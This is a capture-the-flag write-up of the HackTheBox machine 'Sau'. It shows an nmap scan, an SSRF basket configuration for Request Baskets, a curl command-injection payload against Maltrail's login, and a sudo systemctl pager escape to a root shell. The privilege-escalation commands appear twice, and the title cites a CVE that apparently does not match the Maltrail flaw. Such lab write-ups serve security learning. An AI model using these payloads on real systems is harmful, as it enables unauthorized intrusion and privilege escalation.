Enumeration#

1
# Nmap 7.80 scan initiated Sun Jul  9 20:56:56 2023 as: nmap -sCV -oN Nmap -p- -vvv 10.10.11.224
2
Nmap scan report for 10.10.11.224
3
Host is up, received echo-reply ttl 63 (0.31s latency).
4
Scanned at 2023-07-09 20:56:56 +01 for 585s
5
Not shown: 65531 closed ports
6
Reason: 65531 resets
7
PORT      STATE    SERVICE REASON         VERSION
8
22/tcp    open     ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
9
80/tcp    filtered http    no-response
10
8338/tcp  filtered unknown no-response
11
55555/tcp open     unknown syn-ack ttl 63
12
| fingerprint-strings:
13
|   GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
14
|     HTTP/1.1 400 Bad Request
15
|     Content-Type: text/plain; charset=utf-8
16
|     Connection: close
17
|     Request
18
|   GetRequest:
19
|     HTTP/1.0 302 Found
20
|     Content-Type: text/html; charset=utf-8
21
|     Location: /web
22
|     Date: Sun, 09 Jul 2023 20:05:50 GMT
23
|     Content-Length: 27
24
|     href="/web">Found</a>.
25
|   HTTPOptions:
26
|     HTTP/1.0 200 OK
27
|     Allow: GET, OPTIONS
28
|     Date: Sun, 09 Jul 2023 20:05:51 GMT
29
|_    Content-Length: 0
30
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
31
SF-Port55555-TCP:V=7.80%I=7%D=7/9%Time=64AB131E%P=x86_64-pc-linux-gnu%r(Ge
32
SF:tRequest,A2,"HTTP/1\.0\x20302\x20Found\r\nContent-Type:\x20text/html;\x
33
SF:20charset=utf-8\r\nLocation:\x20/web\r\nDate:\x20Sun,\x2009\x20Jul\x202
34
SF:023\x2020:05:50\x20GMT\r\nContent-Length:\x2027\r\n\r\n<a\x20href=\"/we
35
SF:b\">Found</a>\.\n\n")%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Req
36
SF:uest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x2
37
SF:0close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOptions,60,"HTTP/1\.0\x2020
38
SF:0\x20OK\r\nAllow:\x20GET,\x20OPTIONS\r\nDate:\x20Sun,\x2009\x20Jul\x202
39
SF:023\x2020:05:51\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,
40
SF:67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\
41
SF:x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")
42
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
43
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
44
SF:equest")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
45
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
46
SF:\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x
47
SF:20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nCo
48
SF:nnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSessionReq,67,"H
49
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
50
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(Ke
51
SF:rberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/
52
SF:plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Re
53
SF:quest");
54
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
55

56
Read data files from: /usr/bin/../share/nmap
57
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
58
# Nmap done at Sun Jul  9 21:06:41 2023 -- 1 IP address (1 host up) scanned in 584.89 seconds

! POC

During my reconnaissance phase, I discovered a website that utilizes the Request Baskets service.

This web service provides me with the flexibility to collect and examine HTTP requests through either a RESTful API or a user-friendly web interface

An intriguing detail we observed is that the service we stumbled upon is running an outdated version, whereas the most recent version available is 1.2.3. This divergence raises the possibility of potential vulnerabilities that we can exploit during our exploitation process.

While conducting the vulnerability assessment for this particular system version, I discovered an SSRF (Server-Side Request Forgery) vulnerability. This vulnerability exposes a significant risk as it allows for the unauthorized disclosure of confidential information, including port enumeration.

1
{
2
  "forward_url": "http://127.0.0.1:80/test",
3
  "proxy_response": false,
4
  "insecure_tls": false,
5
  "expand_path": true,
6
  "capacity": 250
7
}

Following the outlined steps in the documentation, I proceeded to create a new basket. However, I deviated from the default GET request method and modified it to a POST request, making the following adjustments.

By leveraging the SSRF vulnerability, I successfully created a targeted route that allowed me access. Within this route, I proceeded to exploit the SSRF vulnerability further, capitalizing on its weaknesses.

http://10.10.11.224:55555/web/achux21

While accessing the route generated by exploiting the SSRF vulnerability, we came across the Maltrail application. Maltrail serves as a robust system for detecting and analyzing malicious network traffic. It relies on public lists containing suspicious and malicious traces, as well as static traces obtained from reports by various antivirus providers However, it is essential to highlight that the version of Maltrail we encountered is outdated, potentially implying the presence of unaddressed vulnerabilities.

Matrail V0.53

During the analysis, I discovered an unauthenticated command execution vulnerability within the Maltrail application. This vulnerability resides in the subprocess.check_output function, specifically in the file mailtrail/core/httpd.py. The root cause of this vulnerability is a command injection flaw present in the params.get(“username”) parameter.

https://vulners.com/huntr/BE3C5204-FBD9-448D-B97C-96A8D2941E87

By exploiting this vuln we could have a remote code execution.

1
curl 'http://hostname:8338/login' \
2
  --data 'username=;`id &gt; /tmp/bbq`'

Privilege Escalation#

it’s time to focus on privilege escalation.

1
script /dev/null -c bash
2
sudo  /usr/bin/systemctl status trail.service
3
!sh

1
script /dev/null -c bash
2
sudo  /usr/bin/systemctl status trail.service
3
!sh

1
sudo -l

BYE

Music

Music

Enumeration#

Privilege Escalation#

Share Article

Music

Table of Contents

Music

Music

Sau (HackTheBox): SSRF via Request-Baskets → Maltrail RCE (CVE-2023-32629)

Enumeration#

Privilege Escalation#

Share Article

Music

Table of Contents